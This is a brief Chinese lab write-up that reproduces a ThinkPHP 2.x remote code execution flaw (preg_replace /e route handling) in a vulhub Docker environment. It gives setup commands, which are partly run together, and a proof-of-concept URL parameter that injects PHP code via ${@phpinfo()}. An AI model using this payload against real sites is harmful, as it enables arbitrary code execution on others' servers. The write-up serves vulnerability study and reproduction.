0x01 漏洞描述
描述: ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 ThinkPHP ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞
0x02 影响版本
影响Thinkphp 2.x的版本
0x03 漏洞利用
root权限启动docker（我用kali不给root没法搭建环境）
sudo susystemctl start docker查看docker进程
ps -ef | grep docker进入thinkphp目录选择2-rce搭建环境
cd vulhubcd thinkphpcd 2-rcedocker-compose up -d
查看docker搭建的ip地址
docker inspect 容器ID
环境搭建成功
poc：
?s=/index/index/name/${@phpinfo()}
漏洞复现成功
官方QQ群：
开源地址：
在线留言：